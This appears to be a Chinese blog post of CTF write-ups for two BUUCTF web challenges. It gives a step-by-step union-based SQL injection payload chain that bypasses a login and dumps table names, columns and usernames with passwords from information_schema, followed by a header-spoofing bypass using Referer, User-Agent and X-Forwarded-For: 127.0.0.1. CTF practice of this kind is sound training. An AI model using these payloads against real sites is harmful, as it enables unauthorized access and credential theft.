BUUCTF-web刷题篇(3)

发布于:2025-03-30 ⋅ 阅读:(57) ⋅ 点赞:(0)

9.lovesql(SQL注入考点)

解题过程:①是否存在SQL注入 ②万能密码 admin' or 1=1 ③爆字段数 ④看回显 ⑤爆数据库 ⑥爆数据库的表 ⑦爆出表的列 ⑧读取内容,爆flag

基础知识点:union 联合查询,information表,group_concat()字符串连接

①是否存在SQL注入:加单引号报错 (语法错误)

/check.php?username=1'&password=2

/check.php?username=1&password=2'

/check.php?username=1'&password=2'

②使用万能密码 admin' or 1=1# 或者1' or 1=1# 密码随便写

(在输入框输入的#,可以直接使用hackbar地址栏,只需要将#进行URL编码,即替换为%23)

③爆字段(判断字段数,或者用union select null(,null,null)来判断)

check.php?username=admin ' order by 1 %23&password=1

check.php?username=admin ' order by 2 %23&password=1

check.php?username=admin ' order by 3 %23&password=1

check.php?username=admin ' order by 4 %23&password=1

发现4个参数报错,说明有3个字段

④看回显

/check.php?username=1' union select 1,2,3%23&password=1

页面显示hello 2! Your password is '3'说明回显点位在2,3

⑤爆数据库

/check.php?username=1' union select 1,database(),version()%23&password=1

⑥爆数据库的表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆出来数据库的表名有geekuser, l0ve1ysq1

⑦爆出表的列(查看两个表)

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

页面显示id,username,password

⑧读取内容,爆flag

/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

或者

/check.php?username=1' union select 1,2,group_concat(username,0x40,password) from l0ve1ysq1 %23&password=1

/check.php?username=1' union select 1,2,group_concat(username,0x40,0x40,password) from l0ve1ysq1 %23&password=1

10.Http(http代理)

基础知识:

  • X-Forwarded-For(XFF)又名XFF头

1)概述:X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。 2)作用:获得HTTP请求端的真是IP 3)格式: X-Forwarded-For: client1, proxy1, proxy2, proxy3 其中client1是原始客户端的IP,后面接着是代理服务器的IP

  • Referer请求头字段

1)概述:Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

2)作用:告诉服务器该请求是通过哪个页面发送过来的,从而使服务器进行对应的处理。

3)格式:Referer:url(此处为页面链接)

  • User-Agent请求头字段

1)概述:User-Agent是HTTP请求中用来检查浏览页面的访问者在用什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好的字段。

2)作用:告知服务器访问页面的客户是什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好

3)格式:User-Agent:Mozilla/5.0 (平台) 引擎版本 浏览器版本号 (此为通常格式)

解题过程:

查看网页源代码,发现Secret.php,点开后发现是"it doesn't come from 'https://Sycsecret.buuoj.cn'",提示该网页的Referer头为"https://Sycsecret.buuoj.cn",在请求头中添加Referer:https://Sycsecret.buuoj.cn字段发送请求后得到响应为

使用"Syclover" browser,于是将User-Agent改为"Syclover" brower即可

根据提示,是来自本地的访问请求,所以更改XFF头为127.0.0.1

爆出flag


网站公告

今日签到

点亮在社区的每一天
去签到